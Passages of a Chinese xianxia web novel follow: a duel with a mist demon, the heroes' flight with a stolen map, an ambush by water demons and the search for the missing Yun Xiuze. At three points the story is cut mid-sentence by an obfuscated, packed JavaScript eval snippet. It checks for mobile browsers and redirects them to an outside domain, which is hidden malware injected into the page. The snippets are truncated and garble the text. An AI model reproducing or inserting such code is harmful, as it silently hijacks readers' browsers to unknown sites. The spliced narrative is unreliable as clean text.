在局外人看来,天色只是阴下来了,并不妨碍他们看清他们的动作。 可对于场中的五人来说,更像是进入了一个伸手不见五指特殊空间。 “嗤,有意思的小鬼。” 影玖的声音传来。 云修泽迅速朝声音传来的方向挥剑,却只斩到了一片虚无。 再一回头,身后的同伴就全都悄无声息的消失了,入目皆是黑暗,天地间仿佛只剩他一人。 “看这里。” 影玖的声音既轻且快,仿佛是他的错觉一般,但攻击却是实实在在的破空切来。 云修泽将褚闲抵在身前,电光火石间挡住了另一把利器。 两者摩擦的声音在这个空间中尤为明显。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191936|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一柄由黑雾组成的利剑,从剑形可以看出来,正是云修泽手中的褚闲。 影玖的攻击中,私仇旧怨十分之明显,几乎是招招照着云修泽的脸比划。 “你把他们怎么样了?” 影玖形容恶劣的笑道。 “你放心,我的同族会好好招待他们的。” 在这个状态下,影玖的实力明显提高了不少,几乎是全方面的加成,云修泽也不得不打起了十二分的精神和他过招。 两人拉开距离,云修泽正想施展轻功,就见他手中的黑剑忽然幻化成了一条长鞭,‘啪’的一声缠住了云修泽的脚腕。 云修泽被他拖行了好一段距离,后背大面积渗出鲜血。 他斩断鞭子翻滚起身。 目之所及中,影玖明明还在远方,下一刻就到了他的面前。 黑暗带给他的优势太大了。 云修泽吃力的应付着他的各种出其不意,意识到他这是在跟真正的影子对战。 影玖的武器变化无常,长兵短刃,或柔或刚,无一不能为他所用。 他明显玩儿高兴了,看着云修泽在他手下越来越难以招架的样子,兴奋的哈了一声。 “你也不过如此!” 云修泽冷淡的嗤笑。 “我若真的不过如此,你也不用为了对付我付出这样的代价了。” 影玖一愣,低头一看,发现自己的人形已经有些虚幻。 他们是雾中诞生的妖族,化为本体,自然也是一团雾。 这次不知道为什么,人形都快要维持不住了,遮面的黑雾却还没有散干净。 他只愣了那一个瞬间,然后就仿佛被激怒一般,攻击愈发凌厉,更是招招致命。 台上的灵儿已经冷静了许多,她看着台上的十人各打各的,就说道。 “雾面影的一项看家本领,就是将敌人拖进自己的领域中,还有轻微的幻象,不过一般维持不了一时三刻,而他们使用的这个秘术,显然延长了这个时间。” 她停顿了一会儿,突然起身道。 “走吧,我们还有该办的事没办。” 令苏看看她又看看台上,不解的问。 “可战局尚且不明朗。” “足够了。” 灵儿指了指天空。 “阴云,已经开始溃散了。” . . . 场中的影玖也注意到了这点。 黑雾下的眼睛有了几分闪烁和不安。 不能耗到那个时候,他或许还能留有一命,但其他的同族,恐怕就...... 他不甘心的压着云修泽又快速过了几招。 一人一妖身上都有不少伤口,云修泽就连左臂弯折的弧度都透露着不自然,可他的脸仍然完好无损,这是他刻意在保护。 影玖的心性冲动而且好胜,尽管在战斗时已经被拉至了最低,但天性如此,是无法轻易更改的。 所以只要不断的挑衅他,就一定能找到破绽。 褚闲划过他的脸侧,斩断了他的头发。 影玖后退几步,不甘心,但还是无可奈何的解除了这个状态。 云修泽只听到一声似有若无的尖啸,眼前就豁然明朗。 他第一时间回头去找同伴。 行愿身上的伤口很多,但都很浅,最让云修泽吃惊的是,他的面具上有了不少裂缝。 云修云没受太多伤,只是满脸冷汗,脸色苍白,握着司越剑的手都在细微的抖着,看样子更像是被吓的。 云修泽最担心也最放心的就是唐思月,她的实力不高,但聪明机敏,身上的伤看起来也并不多,只是脸色发白,应该是灵力已经见底。 而他们三人,都已经在擂台之下。 再一转眼,对面的雾面影也已经有三个落下擂台。 而之前吓唬云修云的那个还在台上,此刻,正命悬深流剑下! 云修泽第一时间找人的动作给了影玖可乘之机。 但他现在面临着一个选择。 重伤云修泽,代价是同族命陨。 救下同族,则心中之仇无法再报。 没有时间让他思考权衡,一切皆在顷刻之间!!! “影猎!!!你个混小子!回去给我闭关十年!!!” 出乎云修泽意料的是,影玖放弃了他,也放弃了胜利,闪身救下了那个名为影猎的同族。 影猎被甩下台,场上只剩影玖站在那里剧烈且狼狈的喘息。 云修泽和明青剑指要害,而他已是朽木枯株。 影玖孤身站在那里,不再感到愤怒,只有对自己无力的难过,语气晦涩。 “......我输了......” 云修泽轻轻歪头。 “我没想到你会做这样的选择。” 影玖扭头,过了一会儿,轻声说道。 “命比什么都重要。” 云修泽沉默片刻,忽然一挑眉,手腕一转,剑锋划过脸颊,留下一道明显的血痕。 “不管你怎么想,我认你当个朋友,这个,当是我的诚意。” 影玖愣住了,过了好一会儿,才干巴巴的哦了一声,僵硬的扭头离开了这里。 台下的云修云眨眨眼,小声蛐蛐。 “顺拐了他。” 唐思月:“嘘!” 云修泽和明青跳下台,对三人低声说道。 “快,我们走!” 五人迅速离开了这里。 在他们的身影彻底消失后,还没有从中回过神来的看客们突然听到了一句不知从何处传来的宣判。 那声音仿佛近的就在他们耳边响起,庄严肃穆的宣布道。 “本届魁首——第七洲!” 随着一道声音的落下,无数的声音跃起,刹那间,便响彻云霄!!! 59. 协济三十五 在最后一场比试开始之前,云修泽就已经让他们收拾好了要带走的东西。 轻装减行,他们必须要马上离开。 此时走,另外的三大妖族虽然是瞒不不了多久,但剩下的基本可以顺利的糊弄过去,毕竟在大多数人的心里,地图还要五天之后才会到他们的手上。 小鬼难缠,多甩掉一个,他们顺利离开的可能性就更大一些。 时间紧迫,他们也无法再带着马车慢悠悠赶路,只能将其放在沁园中让人好生看护。 这些日子,马厩里的马儿也已经顺利接受了明青。 现在他们要回到沁园,一是为了掩人耳目,二是为了马匹,三则是为地图。 灵儿不会在这种时候和他们碰头,所以她一定会将得手的东西放到沁园中。 五人一路赶回去,果不其然在云修泽的书案上见到了一只檀木盒。 里面放着地图的残篇之一,还有一只用来储物的圆形玉环,里面是其他资源。 云修泽确定东西无疑后,就立马动身,要去牵马离开。 明青拉住他的手臂,云修泽脚步一顿,回头问她。 “怎么了?” 明青的神情透露着不赞同。 “你冷静一些,你知道你现在是什么样子吗?” 云修泽愣了愣。 唐思月走上前来。 “老大,大家身上都有伤,你伤的最重,多少得治疗一下,耽误些时辰没关系的。” 云修泽这才察觉到自己的‘惨状’。 他的左臂错位,后背大面积的渗出鲜血,更别提身上大大小小的伤口,这么一看,五人之中的确是他伤的最惨。 云修泽抿着嘴无言片刻,看样子更想说自己没事,但触及到明青的视线,还是松了肩膀,妥协道。 “好吧,大家抓紧治疗一下。” 唐思月大概给每个人看了下,该上药的上药,该止血的止血。 行愿那个有裂缝的面具已经被收起来,换上了另一个完好无缺的。 云修泽也不像之前那样会顾及她们的存在,干脆利落的褪了衣衫,露出了身上狰狞的伤口。 五人待在一处,一直等到了天黑,换上了夜行衣,一起去了马厩。 经过这些天云修泽和明青的不懈努力,大部分的马儿都已经能够平静的面对明青,其中,最亲近她的是一匹名叫点墨的骏马。 通体玄黑,毛色亮而光滑,是品相极好的马儿。 行愿带着唐思月,选的是一匹红棕色的,眼睛大而有神,名为骏丰,只是脾气不太好,也亏的行愿能够驯服它。 五人低调的离开了白界最繁华的地方,可要想彻底走出白界,就算日夜兼程,也还需要三次日升日落。 一路上风平浪静,似乎一切都很顺利,但云修泽心中还是隐隐不安。 终于,在漫长的黑夜过去,即将迎来破晓时分之时,他们遇到了第一波前来追杀的敌人。 不知何时起的晨雾,将他们包围在中心。 回头一看,来者也算是他们的老朋友——爻池仙。 乌泱泱站在一起,几乎有数十之众。 云修泽啧了一声。 第一个遇到谁不好,居然是爻池仙,看来他们是真记恨上我们了,这个数量,若是被他们拖在这里,让后面的人赶过来,可就真的没什么逃脱希望了。 云修泽转动眼睛左右看了看,伸手到嘴边做了一个看着十分复杂的口技,随即就有两声逼真的鸟鸣从他的口中传来。 爻池仙并不打算跟他们废话,伸手一抬,露出只有枯骨的半截手指,就要将他们拉入幻境。 云修泽盯着他们缓缓后退,并没有做出应对之举。 身后的四人心中皆有疑惑,但出于信任,还是随他的心意而动。 随着一声似有若无的叹息,一柄熟悉的长枪就从天际以破竹之势破开晨雾钉入到了两方中间。 随即到来的是柳恒舜。 他背对着云修泽他们,懒散地敲了敲肩膀,抱怨道。 “一上来就让我对付这么难搞的家伙。” 云修泽依然警惕着,但闻言勾了勾嘴角。 “因为你最靠谱啊。” “不知道这两个字怎么写。” 柳恒舜一边说着一边拔起了长枪,拿在手中,走到爻池仙面前站定,头也不回的驱赶他们。 “快滚吧,回去记得请我喝酒。” “一言为定。” 云修泽低声道。 “走!” 几人再次策马,唐思月回头,看到有数个陌生的背影出现在了柳恒舜的身后。 不知道以后还有没有再见之日了。 他们又走了一段时间,中途还停下短暂休息了一次。 明青看起来很想问什么,但是在察觉到云修泽有些不安的情绪后,还是没有问出口。 九乙木族派来了圭许对他们进行围杀。 他并没有带很多同族,但个个都是好手。 云修泽他们前进的方向山林众多,对于九乙木来说是如鱼得水,伸手便可布下天罗地网。 不过和爻池仙不同的是,他们根本就没有见到云修泽他们,而是在半路就被拦截了下来。 圭许面无表情的问。 “灵族长这是什么意思?” 对面的女子巧笑嫣兮,漂亮的狐尾慢悠悠的甩了甩。 “没什么意思,收人钱财,替人消灾罢了。” “白女狐穷到这个地步了?” 灵儿也不生气,孤身站在那里,身后还有无数族众隐匿在山林之中。 “圭许少主,妾身劝你一句,就此打住吧。” 圭许歪头。 “你背叛妖族,就不怕之后传出去吗?在这里,你可留不下我们。” 她出现在这里,那是谁帮云修泽他们提前拿到地图就可想而知。 他的手微微一抬,脚边原本再普通不过的杂草便开始疯狂生长,不过片刻,就完全没有了之前温顺的样子,虎视眈眈的对准了灵儿。 灵儿笑了笑。 “我好歹也是接受过传承的族长,留不下全部,留一部分也是没什么难度的,想要传出去也随你的便,只不过那样,你们九乙木拥有镜双子画像的事可就瞒不住了。” 她的金瞳眯了起来,十分愉悦且恶劣的说道。 “你们本族受损严重,你说,到时候会不会有妖觉得你们族中还有别的好东西啊,嗯?” 圭许原本放松的手紧紧握了起来,脸色不虞,声音缓慢而肯定,语气沉沉。 “云、修、泽......” 灵儿好整以暇,和他对视。 片刻后,圭许恢复了本来的模样,转身低声道。 “我们走!” 看着他们的身影消失,灵儿收了笑脸,默默想道。 之后的路,希望明青走的顺利吧,她就帮到这里了。 另一边,五人日夜兼程,除了爻池仙以外只遇到了一些不成气候,但是十分敏锐的妖族。 云修云甩去剑上的血迹,收回剑鞘,颇有些不高兴的说。 “现在真是什么杂碎都敢来我们这里想分一杯羹了。” 云修泽沉默片刻,突然说道。 “好了,我们在这儿休息一会儿,吃点儿东西再走吧。” 唐思月知道这是为了顾及她的身体,于是说。 “我来准备点儿吃的吧。” 一阵奇怪的沉默后,云修泽难得有些磕巴的开口。 “不、不用了吧......思月你、还是好好歇着吧......” 她的厨艺如何,几人没有尝过,但以她做的那些稀奇古怪的药的味道来说,也实在是让他们不敢尝试。 行愿已经默不作声开始着手准备了。 唐思月鼓了鼓脸颊,随后还是和云修云一起开始惯例的围观。 明青走到云修泽身边。 “还有多久?” 云修泽稍微侧了侧头,轻笑道。 “是了,忘了这里还有个不认识路的,没事,再有两个时辰就差不多了。” 明青轻轻挑眉,大方的没有和他计较。 “还好吗?” “都走到这里了,除了爻池仙我们还没有遇见过九乙木,应该是已经被白女狐拦下来了。” 明青眼眸一沉,柳恒舜、白女狐,这人到底背着他们干了多少事? 那边云修云听到他们的对话,伸着脖子问道。 “那雾面影呢?不用提防他们吗?” 唐思月慢慢咬着行愿给她填嘴用的一个肉干。 “影玖性子高傲好胜,这样的通常也很爱面子,我们刚打败他不说,老大还当众认他当了朋友,再加上他是唯一的少主且身受重伤,十之八九是不会追过来的。” 云修云一脸‘还能这么玩?’的表情,对云修泽问道。 “你说认他当朋友是盘算着这个呢?” 云修泽笑了笑。 “也不全是,不要全然放松警惕,难保雾面影的老怪物会不顾颜面追过来,好了,抓紧吃东西吧。” 之后,他们又马不停蹄的开始赶路,直到一个日夜后,确定彻底远离了白界,才敢松懈下来。 暴雨将他们逼到了一个山洞处,这里挨着悬崖瀑布,让云修泽想起了昆天谷的悬练。 这里其实并不是很好的安置地点,可现在是夜晚,雨势大的已经让人看不清路了,他们别无选择,只能停在这里。 火光将这一个大的有些空旷的山洞照亮,几人将马儿牵进来安置好,随即就开始生火准备吃的。 云修云好奇的四处摸了摸,这里并没有人为的痕迹。 “这么大的山洞居然是自然形成的吗?” 他扭头。 “接下来我们去哪儿?计都吗?” 云修泽靠着墙壁坐在那里,闻言嗯了一声。 他盯着跳动的火焰有些出神。 不知道为什么,明明已经离开了白界,不安的感觉还是萦绕在他的心头。 白界本来就处在佘渊的边界,妖族想要追杀大比魁首,来的妖只会多不会少,散发出来的妖气聚集在一起,一旦踏出边界,就会被察觉。 他拿出了一份儿地图,指腹轻轻揉了揉,感受着特殊的质感,一时间也不知哪里出了问题。 明青走过来在他身边坐下。 “怎么了?” 云修泽眼神掠过沉思。 “我总觉得我忽略了什么......” 明青其实也没有完全放下心,但看到云修泽的样子,还是低声劝道。 “别想太多了,你的伤还没好全,先好好休息一下吧,大家轮流守夜,雨一停我们就走。” 云修泽无力的勾了勾嘴角。 “嗯,听你的。” 明青起身准备去给他拿些热汤,异变就是在此刻陡生。 唐思月忽然斥道。 “什么人!!!” 话音未落,琴弦就已被拨响,就这一声,让刺入云修泽要害的攻击偏了三寸! 唐思月被行愿护住在地上滚了好几圈,落在她身上的攻击被他承受了大半。 同时山洞中传来一声闷哼。 云修泽只觉得眼中的一切仿佛都被人放慢。 他不可置信的看着手中还没来得及被收进玉佩的地图被人抢走。 吐出的鲜血溅了几滴在上面,伸出的手也没能将其抓住。 偷袭者全都是冲着一击毙命来的,唐思月被行愿护住,没有受到致命伤害,但已经彻底陷入了昏迷。 云修泽险些被偷袭毙命,幸亏唐思月在晕过去之前拨了一次弦,才让那攻击偏了三分。 唰唰唰! 十道黑影落下。 洞外雷声一震,照亮了他们的身影。 云修泽瞳孔震荡,依稀辨认出了他们。 水族......全是水族!!! 他终于想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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洞外的雨水被他们操纵,翻手间合成了一条咆哮的水龙,其势汹汹向两人而来。 明青和云修泽匆忙之中对视。 一人上前一人后退。 深流横在胸前,双手相抵。 明青凝神快速低语,只见一抹淡光飞快的划过深流的剑身,随即就散发出阵阵的寒意。 深流取自寒潭,央玉铸造之时也有意加强这方面的能力,所以深流对于普通的水是有一定的压制能力的。 水龙撞上来,就犹如撞到了天敌,从龙头到龙尾被吞噬的一干二净。 龙身庞大,遮住了两方的视线。 云修泽趁此机会绕到了对方身后,成功了结了两个。 那边行愿和云修云各杀了一个。 还有七个! 唐思月有在他们停留的地方周围撒毒粉的习惯,也许这就是为什么,她是第一时间察觉到有敌人到来的原因。 这些水妖应该都中了毒,虽然压制的很好,但或多或少还是有些影响,并且逐渐在战斗中显露了出来。 六个。 五个。 敌人的数量越来越少。 直到剩下四个时,云修泽和明青已经是遍体鳞伤。 “大哥小心!”云修云大声喊道。 云修泽回头,攻击就已近在眼前。 云修云及时赶来,司越剑没入了对方的胸膛。 云修泽瞳孔微微放大,看到那本该落在他身上的攻击,转手就落在了云修云的身上。 一人一妖昏死过去,不知生死。 云修泽心焦却无法查探,因为敌人还没完全消灭,攻击一刻未停。 “呃!” 有一只水妖发出一声轻响。 行愿如同覆面的修罗,悄无声息出现在他的身后,沾满了血迹的刀在他的脖颈处一划。 那只妖只感到了刀身的寒冷,随即就失去了性命。 行愿杀了一个,马上就要放手去找下一个。 对面立刻就要向昏过去的唐思月动手。 行愿呼吸一乱,就被他们趁机重伤在地。 云修泽和明青互相扶持着,对面还有...... 两个。 双方都受了伤,只不过云修泽的更重些。 哪怕是他,撑到现在,动作也不可控的慢了下来。 但当他看到有敌人逼近明青时,还是以极快的速度替她挡了下来。 明青向后摔去,褚闲擦着她的额头替她挡下了必死的一击,同时也挑去了她的额珠。 额珠被挑向半空,云修泽的第一反应就是伸手,将其紧紧抓在了手中。 而明青在昏过去之前,看到的最后的画面,就是对面的两妖,一个将手伸向了他腰间的玉佩,一个化掌逼近了他的后心...... . . . 雨渐渐停了,不知过了多久,明青从无边的混沌中醒来。 她看着洞顶的石壁恍惚了一会儿,才倏然想起一切的缘由。 她一下坐起身,牵扯到的身体的疼痛让她忍不住闷哼一声,但她没管太多,拖着伤重的身体爬起来寻找同伴的身影。 马儿不知什么时候被波及,全都晕死过去。 唐思月、云修云、行愿都在这里,没有一个人醒来。 她忍着痛继续找,找遍了山洞的每一处角落,又走遍了洞外附近每一片土地,都没能找到她最想找到的那个人。 明青茫然失措的站在悬崖瀑布前,手不自觉松开了深流。 剑身触地发出吭噌的轻响。 ......云修泽 不见了。 60. 曲衣一 唐思月醒来时已经是晚上了,她皱着眉勉勉强强分辨出了这里仍是他们过夜的山洞。 旁边有火堆的噼啪声和外面瀑布的哗哗声,除此之外,就再没有别的声响。 她不由自主的怀疑起自己是不是做了一场梦,梦醒后,敌人便如烟云般散去,他们仍在一起,等着吃点儿东西或者别的什么。 可等她站起身茫然环顾后,神志才猛地清醒过来。 云修云和行愿昏倒在地,洞中被破坏得不成样子,狼藉中充斥着妖力和灵力的残留。 她的脸色一下子苍白起来,扭头去找云修泽和明青,却根本没在洞中发现两人的身影。 正在她不知所措时,洞外传来嗦嗦的声音。 明青抱着一堆不知从哪儿采来的药材和果子走进来,见到唐思月醒来,神思倦怠的勾了勾唇角。 “醒了。” 见到她,唐思月松了口,可是她的声音低哑,又是独自一人回来,不禁让她心中生出更多不安。 “......老大呢?” 明青抿着嘴侧了侧头。 “不知道,我醒来时就已不见了。” 不好的预感成真。 唐思月深深吸了几口气,很快就让自己冷静了下来,开始询问事情的经过。 明青将后来发生的事简单跟她说了一遍。 确定云修泽不见后,明青又回到了山洞,开始帮三人处理伤口,她并不精通药理,只能将之前唐思月给的伤药一股脑的塞进去,吊住命应该是没有什么问题的。 她拿出许厚的衣裳给三人垫在身下。 现在已经开始入冬了,又刚刚下过雨,若是就这么让他们躺在地上,寒气入体,只会伤上加伤。 忙完他们,明青又去看了看马儿,清点过后才发现竟然少了一匹,还正巧不巧是云修泽的坐骑踏风。 一时间也说不出是什么心情,只能暗暗期盼着他们是在一处,一人一马能够逃出生天。 到了晚上,生起火,见三人还没有醒来,就开始担忧是不是伤药还不够。 纠结一番过后就决定出去采些药材,所幸她还是认得一些。 明青也不敢走远,只在附近找了找,还抱着点儿微弱的期望找了找踏风,不过也没找到。 回来就看到唐思月醒来了。 唐思月听完后沉默了一会儿,然后就开始默默的往外掏伤药。 明青本以为她要去云修云和行愿身边,没想到她双手拿的满满当当,眼神凌厉的就冲她来了。 唐思月按住她让她坐下,撇了撇嘴,有些郁闷又有些生气的说道。 “你之前还说老大,自己也是这个德行,伤成什么样了,也不好好处理一下,就这么到处乱跑,逞什么能,身体还要不要了,不好好养伤,之后又怎么去找他。” 明青脑袋磕在石壁上,一动不动的任由她摆弄自己。 唐思月是被震晕过去的,放在其他几个身上,估计要不了多久就能清醒过来,可偏偏她要体弱一些,所以拖到现在才醒。 处理完明青的伤口,又轻蹙着眉去忙云修云和行愿。 云修云伤的更重一些,当时打到最后,他几乎是在以伤换伤的方式去拼杀,所以看起来格外惨。 唐思月没好气儿的给他包扎,下手一重,他就不自觉的哼哼唧唧,唐思月就又心软的轻柔了几分。 夜深露重。 她裹着一件厚实的大氅坐在火堆边,火光映在她绝美的脸庞,将她眼中的安静照的分明。 昏迷了这么久早就没什么睡意了,于是唐思月提出要守夜,让明青去睡。 明青却摇了摇头,也不说话,只是沉默的坐在那里。 唐思月看了她一会儿,脑中闪过数种强制让她陷入昏睡的方式,最后还是作罢。 算了,她现在估计也没有什么心情睡觉,先由着她吧,过几天如果还是这个样子,再说不迟。 一夜过去,两人都没什么睡意,火堆已经熄灭了,留下一些草木残渣。 明青站起身,余光中瞥见唐思月把脸往毛领里又缩了几分。 走到洞口,看着远方再一次升起来的太阳,头也不回的问道。 “他们怎么样?多久可以醒?” 唐思月嗡声嗡气的回道。 “快了。” 她说快了,那就是真的快了。 不到一个时辰,两人就双双醒了过来。 面对两人的疑问,唐思月看了看洞口的明青,发觉她不想开口之后,就开始自觉的解释。 行愿带着面具,脸色怎么样是看不出来的,云修云倒是格外明显。 他的脸色随着唐思月的话变得越来越难看,在听到云修泽失踪后彻底爆发。 他一拳狠狠锤在地上,自责的说。 “是我的错,我要是再强一点儿就好了!” 明青走过来,刚想说些什么,他就急切的抢先说道。 “明青姐,你放心,我哥没死,我们带的玉佩可以让我们感知对方的状态,他还活着呢!明青姐......你别着急......” 说到最后,他的声音低了下来。 对他来说,无疑就是嫂子面前丢了哥,自责归自责,先把嫂子安抚下来再说。 明青顿了顿,问道。 “你可以感知他的方向吗?” “可以!” 云修云忙不迭的点头,又小心翼翼瞅了瞅她的脸色。 “但只能感知大概的方向,具体一些的做不到。” 明青微微额首,这样也很好了,至少不用像无头苍蝇一样没个方向。 她停了一会儿,又突然想起了什么。 “那......你能感受到他具体的状态吗?” 云修云有些为难的垂下眼睛,其实是可以的,若是明青不问,他就准备瞒着了,可偏偏她问了,要他说假话骗她也不太好,于是只能实事求是的说道。 “可以......我哥他...虽然没死,但也已经是重伤垂危了。” 明青的手一下捏紧了剑鞘,身体僵硬了几分。 唐思月担心的看着她,只见她缓缓吐出一口气,闭了闭眼后睁开,说道。 “事不宜迟,我们走!” 四个人牵着三匹马走出了山洞。 朝东南方走了一小段路后,行愿突然将他们喊停。 只见他翻身下马,走到路边,用刀鞘拨了拨茂盛的杂草。 下面有一个模糊的被掩盖的马蹄印。 明青醒过来不久,又断断续续下了一阵雨,很多痕迹都被掩盖了,现在这个马蹄印的出现属于意外之喜。 他们顺着马蹄的方向又断断续续发现了几个,跟着走,弯弯绕绕竟然又回到了瀑布附近。 明青走到悬崖边向下望去,只能看见奔腾的水流和几乎垂直的崖壁。 再往下就是翻腾的云雾,将视线遮住,根本看不清到底有多高。 这时,追云突然扬起前蹄嘶鸣不断,坐在它背上的云修云被它突然的举动吓得抓紧了缰绳,险些从它身上翻下去。 正在众人不明觉厉之时,悬崖下突然也传来了一声马儿虚弱的嘶鸣。 明青眼神一凌,换了个方向又向下望去,这才看见声音的来源处。 是踏风! 它的后腿似乎受了伤,正巧被卡在山壁和一颗树中间,这才没落的个摔的粉身碎骨的下场。 它掉的不远,但也不近,这里的水流又吵的厉害,如果不是他们正好站在这里,恐怕根本听不见它的声音。 从踏风有些嘶哑的叫声来看,它应该已经尝试了很长时间。 几人都围过来商量着怎么将它救上来。 明青的手紧了紧,问道。 “有绳子吗,长一些粗一些的。” 行愿默不作声掏出一大捆,用行动证明他有。 明青拿过绳子一头拽了拽,发现挺结实之后,快速说道。 “我下去将绳子绑在它的身上,你们合力将它拉上来。” 唐思月皱眉又看了看那棵歪脖树的大小,一时间也想不出什么更好的办法,于是又让行愿掏出了一根较细的绳子绑在了明青的腰上。 明青任由她绑,绑好后,便带着那根粗绳一跃而下,几次短暂的借力,就轻巧的落在了那棵树上。 见到她来,踏风忍不住动了动,轻轻叫了一声。 以它的体重,这棵树坚持到现在已经算是非常不错的了,任何细微的动作都有可能引起掉落的风险。 树晃了晃,发出不堪重负的吱呀声,明青心中一紧,也顾不上太多,只能一边笨拙的安抚它,一边飞快的给它套上绳子。 踏风很有灵性,知道这是在救它,又重新安静下来一动不动。 明青不放心的给它打了几个死结才向上面示意可以往上拉。 行愿和云修云拉住那颗粗绳,一起用力。 绑着明青的那条,则绕过一棵树,被唐思月紧张的握在了手中。 事实证明,唐思月的紧张是没什么必要的,她几乎没怎么用力,明青就已经成功上来。 踏风也很快被拉了上来,虚弱的卧在那里。 云修云跑去给它割了一些草一点一点的喂它吃,另外三匹马儿也都围了过来,挨挨蹭蹭的和它打着招呼。 唐思月去看它受伤的后腿,四处捏了捏。 “没事,没有伤到骨头,应该是掉下去的时候划伤了,伤口虽然不大,但一直在流血,幸亏流的不多,不然它现在就不会好好在这儿吃草了。” 包扎好后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205073|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,唐思月疼惜的摸了摸,对明青说道。 “你看它是不是瘦了一点?” 明青沉默的看着它,觉得似乎真的瘦了一些,它一直是匹健壮的马儿,差不多一个日夜的时间,就算瘦了,按理来说也应该看不出来才对。 明青轻轻摸了摸它的脸,低声说。 “你是为了保护他吗?” 踏风不知道是不是真的听懂了她的意思,大大的眼睛中似乎有水光在转,挣扎着站起身,在众人惊诧的目光中将头埋进明青的怀里,拱的她接连向后退了几步。 随即仰起头朝天空嘶鸣,头也不回的冲东南方跑去。 另外三匹马儿也很有蓄势待发的样子。 明青马上意识到那是云修泽的方向,飞快的上了马朝着它追过去,心中不禁燃起了点点希望。 踏风跑了很长一段路,最终来到了瀑布下方的河流。 它在湍急的河水边慌乱不安的来回原地踏步,似乎是在这里就彻底失去了云修泽的身影。 有了希望后再度失去才是最大的打击,明青的脸色苍白了一瞬。 另外三人很快追了上来,云修云皱眉看着河水流去的方向。 “大哥是落水了吗?我感觉他还在离我很远的地方,但这个方向是没错的。” 唐思月从行愿身后探出头。 “那我们顺着河流的方向找,总能找到的。” 明青点了点头,几人开始顺着这条河前进。 本以为用不了多长时间,却在之后又发现这条河分为了好几个支流,流向了不同的方向。 他们凭着云修云的感觉筛选掉了一部分,剩下的也只能碰运气一样,一条一条的找。 几天过后,明青的状态明显变得有些焦躁。 她的眼睛泛红,纵使他们停下休息,也始终皱着眉一言不发,深流更是再不离手。 “他现在怎么样?” 明青问云修云。 云修云摩挲着玉佩安静了一会儿,说道。 “好像好了一些,虽说一直没有脱离危险,但这个状态已经维持了很久。” 唐思月说。 “濒死的状态不可能一直维持原样,如今老大还在,那就证明他最少应该是得到了基本的治疗,明青你不用太过担心。” 明青何尝不懂这个道理,听到这个结果,也是不自觉松了口气,尽管知道如果云修泽有事,云修云一定不会像现在这么平和,她也还是不自觉怀揣着恐惧,要鼓起很大的勇气才能问出口。 到了晚上,明青又打算要守夜。 行愿不赞同,她已经好几天没有好好睡过觉了,这样下去怎么撑得住? “你去睡,我来。” 明青摇了摇头,仍固执的说。 “我睡不着,还是我来守吧。” 行愿刚想再说些什么,就被唐思月拦了下来。 她拍拍行愿。 “好了,我陪她坐一会儿,你们去休息吧。” 行愿看了看她,又看了看明青,最后还是妥协离开。 他们生起火,明青和唐思月坐到一起。 明青看着唐思月将手伸到火堆旁烤,低声劝道。 “夜寒,去睡吧。” 唐思月笑了笑。 “他很大概率是被救了,怎么样?有没有安心一些?” 明青沉默的点点头。 唐思月又突然问道。 “如果这次他真的出事了怎么办?” 明青不受控制的开始想象,心狠狠揪成一团,之前云修泽在她一步之遥外吐血的模样好像又再一次重演,巨大的惶然恐惧蔓延上她的眉眼。 她狠狠闭上眼,皱着眉将头侧到了一边。 唐思月看到她的手不自觉的握紧。 她伸手过去将她的手展开,翻过来就看到了手心被她自己掐出来的血痕,新伤旧印叠在一起,让人看着很是不忍。 唐思月叹了口气,默默开始给她上药。 “我不清楚你们之间究竟隔了些什么,但经此一遭,你至少该明白自己的心,现下找人眼看着已非一日之功,你折磨自己,又何尝不是在折磨他呢?” 明青看着她的发旋,唐思月比她年幼,她一直将她当做妹妹,此时才感觉出,很多时候,她其实更像是姐姐。 想到她的身世,明青带着疼惜意味的屈指碰了碰她的脸颊。 “好,我知道了,时辰不早了,早些去睡吧,嗯?” 若是平日的明青,肯定不会说这么长的句子,但今日,心软促使着她像哄人似的开口,可心软就会有破绽。 明青身体一僵,唐思月缓缓从她的体内抽出根骨针,笑了笑,说道。 “是的,该睡觉了。” 明青就彻底昏睡了过去。 61. 曲衣二 明青半趴在矮几上,昏沉沉的睡意拉扯着她的眼睑。 暖洋洋的光透过雕花的窗户洒在她身上,宛如母亲温柔的手轻抚着,催促着她陷入沉静的安眠。 有一个陌生又熟悉的气息接近,像是怕打扰她的美梦一般,轻柔又爱惜的在她的唇上印下一个吻。 明青能感受到对方刻意放轻的鼻息,在短短的一瞬间内与她的气息交融勾缠。 这种亲密的交汇仿佛是手指穿梭在她的发间,令她舒服的忍不住想要蜷缩。 直到附在唇上的另一道柔软消失,她还留恋的不自觉想要追上去。 莫名的不舍战胜了沉绵的睡意,促使她睁开了双眼。 光打在来人的身上,他却背对着,吝啬的不肯露出面容。 他似乎在笑,他总在笑,可有一种,是他在面对着她时才会展露的笑容。 